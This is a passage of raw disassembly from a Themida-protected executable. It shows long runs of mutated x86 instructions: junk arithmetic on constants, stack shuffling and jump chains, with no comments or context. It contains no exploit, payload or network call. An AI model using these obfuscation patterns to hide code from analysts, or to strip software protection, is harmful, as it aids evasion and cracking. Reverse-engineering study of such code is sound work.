push 2440h
mov [esp], esi
jmp loc_550B38
; ---------------------------------------------------------------------------
loc_55F292: ; CODE XREF: Themida_:0055B8A9j
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_55303B
; ---------------------------------------------------------------------------
loc_55F2A2: ; CODE XREF: Themida_:00554F33j
add ecx, eax
jmp loc_5634C1
; ---------------------------------------------------------------------------
loc_55F2A9: ; CODE XREF: Themida_:0055E3B6j
pop esp
mov [esp], esi
mov esi, esp
push 5091h
jmp loc_560736
; ---------------------------------------------------------------------------
loc_55F2B9: ; CODE XREF: Themida_:005580C6j
add edi, 13376DEBh
xor edi, 13D3020h
add edi, 6D06707Dh
sub edi, 0F9CF9A70h
sub ebp, 6E817709h
add ebp, edi
add ebp, 6E817709h
pop edi
or esi, ebp
jmp loc_555093
; ---------------------------------------------------------------------------
loc_55F2E7: ; CODE XREF: Themida_:0055A5E3j
add ebx, eax
add ebx, 68A03A04h
pop eax
xchg ebx, [esp]
jmp loc_55BF04
; ---------------------------------------------------------------------------
loc_55F2F8: ; CODE XREF: Themida_:00563632j
mov ecx, 6E3E77B4h
not ecx
shl ecx, 8
sub ecx, 3C1A30E1h
inc ecx
add ecx, 68C4F19Ah
add ebx, ecx
pop ecx
mov ecx, ebx
jmp loc_554F17
; ---------------------------------------------------------------------------
loc_55F319: ; CODE XREF: Themida_:0055F5B9j
add ebp, 149D2ECEh
pop edx
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push 4C4Dh
mov [esp], esi
push esp
mov esi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_560A3F
; ---------------------------------------------------------------------------
loc_55F353: ; CODE XREF: Themida_:0055A92Dj
add ebx, 73A66FF9h
xor ebx, 198FD601h
mov edx, ebx
pop ebx
xor edx, 67684A3Ah
add eax, edx
pop edx
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_55D2D4
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push 13D1h
jmp loc_562399
; ---------------------------------------------------------------------------
loc_55F396: ; CODE XREF: Themida_:0055F07Dj
push esp
pop edi
add edi, 4
jmp loc_55C4AF
; ---------------------------------------------------------------------------
loc_55F3A3: ; CODE XREF: Themida_:0056176Cj
sub eax, edx
pop edx
sub esp, 4
jmp loc_563CA8
; ---------------------------------------------------------------------------
loc_55F3B1: ; CODE XREF: Themida_:00552B29j
push edi
push 5E9B32F6h
pop edi
push ebx
jmp loc_560998
; ---------------------------------------------------------------------------
loc_55F3BE: ; CODE XREF: Themida_:00561DA5j
mov [esp], eax
jmp loc_55CAB9
; ---------------------------------------------------------------------------
loc_55F3C6: ; CODE XREF: Themida_:0055D24Bj
mov [esp], ebx
push eax
mov al, 44h
push bx
mov bh, 83h
jmp loc_555268
; ---------------------------------------------------------------------------
lodsb
push small 200Ch
mov [esp], cx
mov ch, 8Eh
shl ch, 2
jmp loc_551638
; ---------------------------------------------------------------------------
loc_55F3E8: ; CODE XREF: Themida_:005504CEj
sub ecx, edx
pop edx
push ebx
mov ebx, 5C01534Fh
sub ecx, 5F4B2711h
add ecx, ebx
add ecx, 5F4B2711h
mov ebx, [esp]
add esp, 4
jmp loc_554A8E
; ---------------------------------------------------------------------------
loc_55F40A: ; CODE XREF: Themida_:00551517j
xor eax, 0C1B464C8h
xor edx, eax
pop eax
xor edx, 68E17EE1h
add edi, edx
push dword ptr [esp]
pop edx
jmp loc_552DE1
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push eax
push 8D3h
push esp
jmp loc_562A04
; ---------------------------------------------------------------------------
loc_55F433: ; CODE XREF: Themida_:0055D4C6j
pop ebx
add esp, 4
jmp loc_558AFA
; ---------------------------------------------------------------------------
loc_55F43F: ; CODE XREF: Themida_:0055B7BCj
dec ebx
push ecx
mov ecx, 0CEF4073h
or ecx, 4FE243EFh
xchg edi, ecx
not edi
xchg edi, ecx
add ecx, 4E333828h
add ecx, 79F5C68h
or ecx, 5B5836BFh
xor ecx, 52397418h
xor ebx, ecx
pop ecx
xor ebx, 23B244F1h
mov ebp, ebx
pop ebx
jmp loc_565A97
; ---------------------------------------------------------------------------
loc_55F47B: ; CODE XREF: Themida_:0055E464j
mov eax, [esp]
add esp, 4
push ebp
jmp loc_5546B8
; ---------------------------------------------------------------------------
loc_55F48A: ; CODE XREF: Themida_:0055E7C0j
pop eax
sub bl, 0E0h
sub bl, dh
jmp loc_5643D1
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push small 1810h
mov [esp], ax
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F4A7: ; CODE XREF: Themida_:0055AA0Aj
mov edi, [esp]
add esp, 4
pop edx
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push eax
push esp
mov eax, [esp]
jmp loc_565BCA
; ---------------------------------------------------------------------------
loc_55F4D4: ; CODE XREF: Themida_:0055DFD8j
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
push ecx
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_55C8D9
; ---------------------------------------------------------------------------
loc_55F4F2: ; CODE XREF: Themida_:0055D6E4j
shl esi, 7
push ecx
mov ecx, 42F60A5Dh
inc ecx
not ecx
not ecx
not ecx
add ecx, 9D190EB7h
jmp loc_5631B2
; ---------------------------------------------------------------------------
loc_55F50D: ; CODE XREF: Themida_:0055F058j
push ecx
mov ecx, 23A04AC0h
mov ebp, 39454670h
xor ebp, ecx
mov ecx, [esp]
add esp, 4
jmp loc_560095
; ---------------------------------------------------------------------------
loc_55F525: ; CODE XREF: Themida_:0055213Ej
push eax
xor dword ptr [esp], 424F1398h
pop edi
jmp loc_559637
; ---------------------------------------------------------------------------
loc_55F533: ; CODE XREF: Themida_:00557428j
add esp, 4
push edx
mov edx, 53262252h
push edx
jmp loc_55B253
; ---------------------------------------------------------------------------
loc_55F545: ; CODE XREF: Themida_:0055F143j
add al, 75h
push edx
mov dl, 0D6h
push eax
mov ah, 4Ah
inc ah
jmp loc_557667
; ---------------------------------------------------------------------------
loc_55F554: ; CODE XREF: Themida_:0055325Dj
mov ebx, 2
jmp loc_56325B
; ---------------------------------------------------------------------------
loc_55F55E: ; CODE XREF: Themida_:00565954j
xor ebx, [esp]
pop esp
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], ecx
mov ecx, 231358E7h
add ecx, 0DCECA71Dh
push 26E9h
mov [esp], eax
mov eax, 18A52665h
sub edx, eax
pop eax
add edx, ecx
jmp loc_55D6A5
; ---------------------------------------------------------------------------
loc_55F58F: ; CODE XREF: Themida_:005641C1j
xor edx, 290B36CFh
shr edx, 1
sub edx, 4EE4BCCCh
xor ebx, edx
pop edx
push edi
mov edi, 5ED8522Bh
jmp loc_557C4D
; ---------------------------------------------------------------------------
loc_55F5AB: ; CODE XREF: Themida_:00555F02j
add edx, 0A0078F07h
sub ebp, 149D2ECEh
add ebp, edx
jmp loc_55F319
; ---------------------------------------------------------------------------
loc_55F5BE: ; CODE XREF: Themida_:0055C5CAj
jz loc_5634CA
sub esp, 4
jmp loc_55B36A
; ---------------------------------------------------------------------------
loc_55F5CC: ; CODE XREF: Themida_:00556C40j
mov ecx, [esp]
add esp, 4
jmp loc_56208A
; ---------------------------------------------------------------------------
loc_55F5DA: ; CODE XREF: Themida_:0055E536j
mov ecx, [esp]
add esp, 4
add esp, 4
xor ebp, 457406A6h
push ecx
mov ecx, 22663F2Bh
jmp loc_562143
; ---------------------------------------------------------------------------
loc_55F5FA: ; CODE XREF: Themida_:00556768j
pop esp
jmp loc_551DC0
; ---------------------------------------------------------------------------
loc_55F600: ; CODE XREF: Themida_:005575E9j
not ebp
sub ebp, 0B29FF608h
add edi, ebp
pop ebp
add edi, 4
push 4C8Dh
jmp loc_56474A
; ---------------------------------------------------------------------------
loc_55F618: ; CODE XREF: Themida_:0055F264j
add ebp, 3BA916B5h
xor ebp, 18F80DC2h
jmp loc_55D02A
; ---------------------------------------------------------------------------
loc_55F629: ; CODE XREF: Themida_:00553207j
add ebp, 0AF5354h
add eax, ebp
pop ebp
or eax, eax
jnz loc_55448D
push edi
jmp loc_5627F8
; ---------------------------------------------------------------------------
loc_55F640: ; CODE XREF: Themida_:0055371Bj
pop ebx
sub esp, 4
mov [esp], edi
mov edi, 3F037DBDh
or edi, 38EE13B9h
sub edi, 94D6817h
shl edi, 5
jmp loc_55D26E
; ---------------------------------------------------------------------------
loc_55F663: ; CODE XREF: Themida_:0055D1FDj
push esi
push 662E179Fh
pop esi
inc esi
add esi, 0D73F4863h
mov edi, esi
pop esi
add [esp+4], edi
pop edi
pop eax
sub eax, 3D6D6003h
jmp loc_560F1B
; ---------------------------------------------------------------------------
loc_55F684: ; CODE XREF: Themida_:0055BD4Cj
mov ecx, edi
mov edi, [esp]
add esp, 4
add ecx, esi
pop esi
jmp loc_55AC69
; ---------------------------------------------------------------------------
loc_55F694: ; CODE XREF: Themida_:0055B212j
add esp, 4
push esi
xchg eax, [esp]
not eax
jmp loc_564D62
; ---------------------------------------------------------------------------
loc_55F6A5: ; CODE XREF: Themida_:0056342Dj
push 5F377C6Dh
jmp loc_5541A8
; ---------------------------------------------------------------------------
loc_55F6AF: ; CODE XREF: Themida_:0055B789j
shl esi, 5
dec esi
jmp loc_555995
; ---------------------------------------------------------------------------
loc_55F6B8: ; CODE XREF: Themida_:0055640Aj
add esi, eax
push ecx
push 35A7h
jmp loc_552E28
; ---------------------------------------------------------------------------
loc_55F6C5: ; CODE XREF: Themida_:005652C4j
push edx
mov edx, ebp
mov ecx, edx
pop edx
pop ebp
jmp loc_55AC8D
; ---------------------------------------------------------------------------
loc_55F6D1: ; CODE XREF: Themida_:00556F36j
mov [esp], ebp
mov ebp, 4E143541h
jmp loc_555843
; ---------------------------------------------------------------------------
loc_55F6DE: ; CODE XREF: Themida_:0055D8B8j
push edi
jmp loc_55C96E
; ---------------------------------------------------------------------------
loc_55F6E4: ; CODE XREF: Themida_:00560B13j
add esp, 4
sub esi, 0E31BF328h
add eax, 5B3E7C12h
jmp loc_555335
; ---------------------------------------------------------------------------
loc_55F6FA: ; CODE XREF: Themida_:00565739j
add esp, 4
jmp loc_5593A0
; ---------------------------------------------------------------------------
loc_55F705: ; CODE XREF: Themida_:0055A31Bj
mov edx, 2DCE6A21h
inc edx
jmp loc_564087
; ---------------------------------------------------------------------------
loc_55F710: ; CODE XREF: Themida_:0055B3CAj
add bl, 0Bh
push dword ptr [esp]
pop ecx
jmp loc_552143
; ---------------------------------------------------------------------------
loc_55F71C: ; CODE XREF: Themida_:0055ACA1j
pop edx
add eax, ebp
push edx
jmp loc_551392
; ---------------------------------------------------------------------------
loc_55F725: ; CODE XREF: Themida_:0055403Aj
pop ebp
xchg ebp, edi
not ebp
jmp loc_556108
; ---------------------------------------------------------------------------
loc_55F72F: ; CODE XREF: Themida_:0055E88Aj
push ecx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F736: ; CODE XREF: Themida_:0055EB3Cj
push dword ptr [esp]
push dword ptr [esp]
jmp loc_55BFAD
; ---------------------------------------------------------------------------
loc_55F741: ; CODE XREF: Themida_:0055C9BDj
push ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_553979
; ---------------------------------------------------------------------------
loc_55F74E: ; CODE XREF: Themida_:00551E80j
xor ebp, [esp]
pop esp
mov [esp], ecx
push esi
push 3D9B019Ch
pop esi
add esi, 0C264FE68h
mov ecx, esi
pop esi
add ebx, 163B5452h
jmp loc_55EB73
; ---------------------------------------------------------------------------
loc_55F770: ; CODE XREF: Themida_:00561717j
pop edx
xchg eax, [esp]
mov esp, [esp]
mov [esp], bx
push ecx
mov cl, 82h
shr cl, 4
shr cl, 2
push ebp
jmp loc_557F75
; ---------------------------------------------------------------------------
loc_55F78A: ; CODE XREF: Themida_:00555429j
mov edx, esi
pop esi
jmp loc_561715
; ---------------------------------------------------------------------------
loc_55F792: ; CODE XREF: Themida_:0056262Bj
add esp, 4
push 4465h
mov [esp], edx
push 3A530D1Ch
jmp loc_563EB0
; ---------------------------------------------------------------------------
loc_55F7AA: ; CODE XREF: Themida_:00562787j
pop eax
push 43DCh
mov [esp], ecx
jmp loc_559DCF
; ---------------------------------------------------------------------------
loc_55F7B8: ; CODE XREF: Themida_:005647FBj
pop edi
mov esi, ebx
pop ebx
jmp loc_5532E6
; ---------------------------------------------------------------------------
loc_55F7C1: ; CODE XREF: Themida_:00557C28j
xor edx, [esp]
jmp loc_5523B8
; ---------------------------------------------------------------------------
loc_55F7C9: ; CODE XREF: Themida_:0055AA2Aj
add eax, 5A68364Ch
add eax, 7F444CDFh
jmp loc_561A54
; ---------------------------------------------------------------------------
loc_55F7D8: ; CODE XREF: Themida_:00559662j
pop ecx
push edi
mov edi, esp
push 1A6Ch
mov [esp], ebx
mov ebx, 2FB215ACh
jmp loc_55C1C8
; ---------------------------------------------------------------------------
loc_55F7EE: ; CODE XREF: Themida_:005505AFj
pop esi
shr eax, 4
jmp loc_55D9B6
; ---------------------------------------------------------------------------
loc_55F7F7: ; CODE XREF: Themida_:00562A31j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
push ecx
mov ecx, 11D21788h
jmp loc_558A78
; ---------------------------------------------------------------------------
loc_55F80B: ; CODE XREF: Themida_:00560F0Fj
pop edi
xchg edx, [esp]
mov esp, [esp]
mov [esp], edx
push edi
sub esp, 4
mov [esp], esi
mov esi, 68457485h
neg esi
jmp loc_55B26F
; ---------------------------------------------------------------------------
loc_55F82B: ; CODE XREF: Themida_:0055C19Bj
mov [esp], ebx
jmp loc_553B2B
; ---------------------------------------------------------------------------
loc_55F833: ; CODE XREF: Themida_:00565B4Aj
shl eax, 4
or eax, 698D69C3h
jmp loc_552AE3
; ---------------------------------------------------------------------------
loc_55F840: ; CODE XREF: Themida_:00554002j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
jmp loc_564942
; ---------------------------------------------------------------------------
loc_55F855: ; CODE XREF: Themida_:00551CE9j
inc edi
inc edi
shl edi, 2
push eax
mov eax, 199CF648h
jmp loc_552B64
; ---------------------------------------------------------------------------
loc_55F865: ; CODE XREF: Themida_:0055B522j
pop esp
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 4
jmp loc_55AF73
; ---------------------------------------------------------------------------
loc_55F87D: ; CODE XREF: Themida_:0055A794j
shl ebx, 3
xor ebx, 0BAD52C48h
sub edx, ebx
pop ebx
add edx, 8DD27728h
jmp loc_561B22
; ---------------------------------------------------------------------------
loc_55F894: ; CODE XREF: Themida_:00560AA1j
add esi, ebp
jmp loc_55BFEA
; ---------------------------------------------------------------------------
loc_55F89B: ; CODE XREF: Themida_:0055D91Bj
mov esi, 0FFFFFFFFh
jmp loc_553BFA
; ---------------------------------------------------------------------------
loc_55F8A5: ; CODE XREF: Themida_:00556FD0j
push dx
mov dh, 3Bh
mov cl, dh
jmp loc_550856
; ---------------------------------------------------------------------------
loc_55F8B0: ; CODE XREF: Themida_:0055CBDCj
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
shr ecx, 0Ah
jmp loc_55417F
; ---------------------------------------------------------------------------
loc_55F8C7: ; CODE XREF: Themida_:00557C31j
add esp, 4
or eax, eax
jz loc_552370
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_550A64
; ---------------------------------------------------------------------------
loc_55F8DD: ; CODE XREF: Themida_:0055DC80j
add esi, 4
jmp loc_56358C
; ---------------------------------------------------------------------------
lodsd
jmp loc_55CD09
; ---------------------------------------------------------------------------
loc_55F8EE: ; CODE XREF: Themida_:00556EE2j
add esp, 4
mov [edx], ch
pop ecx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F903: ; CODE XREF: Themida_:0055433Fj
pop ebx
add edx, edi
jmp loc_55448C
; ---------------------------------------------------------------------------
loc_55F90B: ; CODE XREF: Themida_:005541C7j
and ebp, 3DD009F4h
push esi
mov esi, 7DE072BDh
push edx
mov edx, 0ED72228h
jmp loc_55D766
; ---------------------------------------------------------------------------
loc_55F922: ; CODE XREF: Themida_:0055E9D6j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_55C277
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55F937: ; CODE XREF: Themida_:00559B9Cj
xor esi, ecx
pop ecx
add edx, esi
mov esi, [esp]
add esp, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
sub esp, 4
push esp
jmp loc_55C333
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
pop edx
push ebx
push esi
mov esi, 8972AB2h
sub esi, 4899793Ah
push edi
mov edi, 1D806ED6h
add edi, 2281DFB6h
jmp loc_55E4FE
; ---------------------------------------------------------------------------
loc_55F982: ; CODE XREF: Themida_:005551FBj
neg ecx
shl ecx, 4
jmp loc_55094E
; ---------------------------------------------------------------------------
loc_55F98C: ; CODE XREF: Themida_:00553F3Aj
pop ebx
jmp loc_562DD8
; ---------------------------------------------------------------------------
loc_55F992: ; CODE XREF: Themida_:0055D204j
mov edi, 77115CD6h
shr edi, 6
not edi
add edi, 462077FBh
and esi, edi
pop edi
add esi, 414C5931h
add edi, esi
pop esi
mov edx, edi
mov edi, [esp]
add esp, 4
xor edx, 6BC66DC7h
sub ebx, edx
mov edx, [esp]
jmp loc_55D4AB
; ---------------------------------------------------------------------------
loc_55F9C6: ; CODE XREF: Themida_:00557812j
push esp
jmp loc_56490E
; ---------------------------------------------------------------------------
loc_55F9CC: ; CODE XREF: Themida_:0056025Fj
add esp, 4
jmp loc_5622AC
; ---------------------------------------------------------------------------
loc_55F9D4: ; CODE XREF: Themida_:0055C7ECj
mov [esp], edi
mov edi, 4
sub ebp, 70FD5D63h
sub ebp, 18305B8Bh
add ebp, edi
jmp loc_5602F7
; ---------------------------------------------------------------------------
loc_55F9EF: ; CODE XREF: Themida_:005538ABj
mov ebx, 6BC71EA6h
sub eax, ebx
pop ebx
jmp loc_55A5B5
; ---------------------------------------------------------------------------
loc_55F9FC: ; CODE XREF: Themida_:005634DBj
push dword ptr [esp]
pop eax
push edx
jmp loc_557566
; ---------------------------------------------------------------------------
loc_55FA06: ; CODE XREF: Themida_:00555054j
pop edi
xchg eax, [esp]
pop esp
jmp loc_555CF4
; ---------------------------------------------------------------------------
loc_55FA10: ; CODE XREF: Themida_:00555FBFj
not ch
shl ch, 8
shl ch, 1
jmp loc_551B31
; ---------------------------------------------------------------------------
lodsd
push 26C0h
mov [esp], edx
sub esp, 4
mov [esp], ebx
mov ebx, 77FB6C4Ch
push ebx
not dword ptr [esp]
pop ebx
inc ebx
jmp loc_55AAD9
; ---------------------------------------------------------------------------
loc_55FA3B: ; CODE XREF: Themida_:0055481Dj
pop esi
sub esp, 4
mov [esp], eax
push esi
mov esi, 4
mov eax, esi
pop esi
sub ebx, 32857D33h
sub ebx, eax
jmp loc_55EAC7
; ---------------------------------------------------------------------------
loc_55FA5B: ; CODE XREF: Themida_:0055A278j
xor al, bl
inc bl
xchg bl, al
sub al, 9Fh
sub esp, 4
mov [esp], edx
push ecx
mov cl, 4Eh
mov dl, cl
pop ecx
and dl, 2Ah
xor dl, 0C2h
add dl, 9Dh
jmp loc_5625DE
; ---------------------------------------------------------------------------
loc_55FA7D: ; CODE XREF: Themida_:00561B1Dj
xor esi, 7755CFh
mov ecx, esi
jmp loc_554560
; ---------------------------------------------------------------------------
loc_55FA8A: ; CODE XREF: Themida_:0055FD97j
xor ecx, edi
pop edi
jmp loc_557E91
; ---------------------------------------------------------------------------
loc_55FA92: ; CODE XREF: Themida_:00553937j
push ebp
mov ebp, 0D60FD9B2h
add ebx, 6C164EC2h
sub ebx, 18E42CFCh
jmp loc_5565F1
; ---------------------------------------------------------------------------
loc_55FAA9: ; CODE XREF: Themida_:005588FDj
pop edx
jmp loc_551C57
; ---------------------------------------------------------------------------
loc_55FAAF: ; CODE XREF: Themida_:0055AC64j
mov ebx, [esp]
add esp, 4
jmp loc_55656D
; ---------------------------------------------------------------------------
loc_55FABD: ; CODE XREF: Themida_:0056034Aj
add edx, edi
add edx, 45E535F6h
pop edi
push eax
mov eax, 4
add edx, eax
pop eax
xchg edx, [esp]
mov esp, [esp]
push eax
push esp
mov eax, [esp]
add esp, 4
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5547EF
; ---------------------------------------------------------------------------
loc_55FAEF: ; CODE XREF: Themida_:0055D7E9j
mov ebp, 3D1B3BDFh
neg ebp
jmp loc_564E66
; ---------------------------------------------------------------------------
loc_55FAFB: ; CODE XREF: Themida_:00553212j
xor ebp, 19428547h
xor ecx, ebp
pop ebp
mov eax, ecx
pop ecx
add edx, eax
pop eax
jmp loc_564BEC
; ---------------------------------------------------------------------------
loc_55FB0F: ; CODE XREF: Themida_:0055DF7Aj
add bl, cl
pop ecx
jmp loc_558902
; ---------------------------------------------------------------------------
loc_55FB17: ; CODE XREF: Themida_:00557139j
mov ebp, 0B0BB9B7Fh
add ebp, edi
pop edi
add edi, ebp
pop ebp
push 6EAAh
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_55D943
; ---------------------------------------------------------------------------
loc_55FB46: ; CODE XREF: Themida_:00565729j
push edi
mov edi, 1712104Fh
sub edi, 51FE44E8h
shr edi, 8
and edi, 2EC41BE2h
dec edi
sub edi, 587C135Dh
jmp loc_554F75
; ---------------------------------------------------------------------------
loc_55FB67: ; CODE XREF: Themida_:00559223j
pop eax
jmp loc_553BDC
; ---------------------------------------------------------------------------
loc_55FB6D: ; CODE XREF: Themida_:0055D4D5j
pop dx
push eax
sub esp, 4
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
mov edx, [esp]
add esp, 4
pop eax
add eax, 4
jmp loc_555422
; ---------------------------------------------------------------------------
loc_55FB94: ; CODE XREF: Themida_:0055CFF6j
mov esp, [esp]
mov [esp], edi
push 7367h
mov [esp], ebp
push 431D1BBBh
pop ebp
push ebx
push esi
mov esi, 221D503Eh
mov ebx, esi
pop esi
inc ebx
xor ebx, 3A8D2555h
and ebp, ebx
pop ebx
jmp loc_5540CE
; ---------------------------------------------------------------------------
loc_55FBC1: ; CODE XREF: Themida_:00557A92j
add edi, 4
jmp loc_55E48D
; ---------------------------------------------------------------------------
loc_55FBCC: ; CODE XREF: Themida_:0055F237j
push edx
mov edx, 0C392006h
jmp loc_55AFB0
; ---------------------------------------------------------------------------
loc_55FBD7: ; CODE XREF: Themida_:00553C37j
pop ebx
jmp loc_5645CC
; ---------------------------------------------------------------------------
loc_55FBDD: ; CODE XREF: Themida_:00561478j
sub ebx, eax
pop eax
xor ebx, eax
push dword ptr [esp]
jmp loc_55EBE4
; ---------------------------------------------------------------------------
loc_55FBEA: ; CODE XREF: Themida_:0055DE6Cj
add ecx, ebx
jmp loc_5631AA
; ---------------------------------------------------------------------------
loc_55FBF1: ; CODE XREF: Themida_:005559ECj
add edi, 4
xchg edi, [esp]
pop esp
dec ecx
shl ecx, 6
sub esp, 4
mov [esp], edi
jmp loc_55C183
; ---------------------------------------------------------------------------
loc_55FC0A: ; CODE XREF: Themida_:0055BEFFj
xchg edi, [esp]
pop esp
add esi, ebp
pop ebp
xchg esi, [esp]
pop esp
div cx
push 2270h
mov [esp], edx
push esp
pop edx
push ecx
sub esp, 4
mov [esp], edi
jmp loc_55330E
; ---------------------------------------------------------------------------
loc_55FC31: ; CODE XREF: Themida_:005511C6j
mov ecx, [esp]
add esp, 4
pop ebp
add ebx, 4
push 3300h
mov [esp], ebx
push dword ptr [esp+4]
jmp loc_5523C6
; ---------------------------------------------------------------------------
loc_55FC4C: ; CODE XREF: Themida_:0056047Aj
mov esp, [esp]
jmp loc_55DE71
; ---------------------------------------------------------------------------
loc_55FC54: ; CODE XREF: Themida_:0055B57Fj
add esp, 4
push ebx
push 5C80h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push esi
push ebp
mov ebp, 62661254h
not ebp
dec ebp
jmp loc_55E63E
; ---------------------------------------------------------------------------
loc_55FC82: ; CODE XREF: Themida_:005518F1j
add ebx, eax
add [ebx], ecx
pop ebx
mov eax, [esp]
add esp, 4
jmp loc_5651D5
; ---------------------------------------------------------------------------
loc_55FC95: ; CODE XREF: Themida_:00552654j
mov [esp], ebp
push edi
jmp loc_55885C
; ---------------------------------------------------------------------------
loc_55FC9E: ; CODE XREF: Themida_:00552AD3j
push dword ptr [esp]
pop ecx
add esp, 4
push 748Ch
mov [esp], ebp
jmp loc_561023
; ---------------------------------------------------------------------------
loc_55FCB5: ; CODE XREF: Themida_:0055E90Fj
push edi
mov edi, 591E6642h
neg edi
add edi, 3202F23Eh
sub ecx, edi
pop edi
jmp loc_5534C7
; ---------------------------------------------------------------------------
loc_55FCCB: ; CODE XREF: Themida_:00551CADj
add ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push edi
mov edi, 2
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_5588AF
; ---------------------------------------------------------------------------
loc_55FCF1: ; CODE XREF: Themida_:0055C244j
pop eax
push 379Dh
mov [esp], ebp
push edi
jmp loc_561ED8
; ---------------------------------------------------------------------------
loc_55FD00: ; CODE XREF: Themida_:00552765j
mov ebp, 2701295Dh
jmp loc_55767F
; ---------------------------------------------------------------------------
loc_55FD0A: ; CODE XREF: Themida_:0055DF59j
xor cl, 51h
xor dl, cl
jmp loc_564816
; ---------------------------------------------------------------------------
loc_55FD14: ; CODE XREF: Themida_:0055EC82j
push ebp
mov ebp, 0CAA3F461h
sub edi, ebp
pop ebp
mov ebp, edi
pop edi
push edx
jmp loc_55FDD4
; ---------------------------------------------------------------------------
loc_55FD26: ; CODE XREF: Themida_:00550D21j
add esp, 4
push edi
mov edi, 779E72E3h
jmp loc_55EDEE
; ---------------------------------------------------------------------------
loc_55FD34: ; CODE XREF: Themida_:00561481j
push 0CAAh
mov [esp], esi
push esp
mov esi, [esp]
jmp loc_55B565
; ---------------------------------------------------------------------------
loc_55FD45: ; CODE XREF: Themida_:00555B21j
add dh, 0D7h
jmp loc_5659F3
; ---------------------------------------------------------------------------
loc_55FD4D: ; CODE XREF: Themida_:00558625j
push edi
mov edi, 4
jmp loc_55837D
; ---------------------------------------------------------------------------
loc_55FD58: ; CODE XREF: Themida_:00562129j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
push eax
mov eax, 7477DC2h
jmp loc_55DDBB
; ---------------------------------------------------------------------------
loc_55FD6F: ; CODE XREF: Themida_:0055E500j
push dword ptr [esp]
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_55391A
; ---------------------------------------------------------------------------
loc_55FD8A: ; CODE XREF: Themida_:00563A98j
dec edi
and edi, 7B7B3A78h
sub edi, 959727B5h
jmp loc_55FA8A
; ---------------------------------------------------------------------------
loc_55FD9C: ; CODE XREF: Themida_:0055AD99j
push eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55FDA3: ; CODE XREF: Themida_:0055B820j
push 639Ah
mov [esp], esi
push edx
jmp loc_5631E3
; ---------------------------------------------------------------------------
loc_55FDB1: ; CODE XREF: Themida_:00554678j
mov ebp, 43D416DBh
shr ebp, 2
and ebp, 372E4F99h
sub esp, 4
mov [esp], eax
mov eax, 24785842h
or ebp, eax
jmp loc_561AE5
; ---------------------------------------------------------------------------
loc_55FDD4: ; CODE XREF: Themida_:0055FD21j
push 358D33D3h
pop edx
jmp loc_552083
; ---------------------------------------------------------------------------
loc_55FDDF: ; CODE XREF: Themida_:0055793Dj
sub esp, 4
mov [esp], ecx
mov cl, 1Fh
add cl, 63h
xor cl, 0BDh
sub al, cl
pop ecx
mov bl, al
pop eax
push ebx
mov bl, 0A8h
sub al, bl
pop ebx
jmp loc_55F11C
; ---------------------------------------------------------------------------
loc_55FDFE: ; CODE XREF: Themida_:00564763j
pop esi
pop dword ptr [esp]
jmp loc_5603D9
; ---------------------------------------------------------------------------
loc_55FE07: ; CODE XREF: Themida_:00553200j
xor edx, 29D87D8Eh
sub ebx, edx
pop edx
add ebx, ebp
add ebx, 5FF0E0Eh
pop ebp
jmp loc_551981
; ---------------------------------------------------------------------------
loc_55FE1E: ; CODE XREF: Themida_:00556DA7j
mov [esp], edi
mov edi, 6DD848F8h
jmp loc_556170
; ---------------------------------------------------------------------------
loc_55FE2B: ; CODE XREF: Themida_:00554BFCj
pop dword ptr [esp]
mov esp, [esp]
imul cx, ax
push cx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
lodsb
sub esp, 2
mov [esp], dx
jmp loc_550F3F
; ---------------------------------------------------------------------------
loc_55FE4D: ; CODE XREF: Themida_:005553FBj
xchg ebp, ebx
push edx
mov edx, 0
sub edx, ebp
mov ebp, edx
pop edx
xchg ebp, ebx
push 0
sub [esp], ebx
jmp loc_555326
; ---------------------------------------------------------------------------
loc_55FE69: ; CODE XREF: Themida_:0055263Ej
shr ebx, 3
shr ebx, 2
shl ebx, 7
shl ebx, 2
sub ebx, 5BBA4CC2h
xor ebx, 0E6DCA0FDh
jmp loc_557118
; ---------------------------------------------------------------------------
loc_55FE86: ; CODE XREF: Themida_:00551090j
add edx, 4
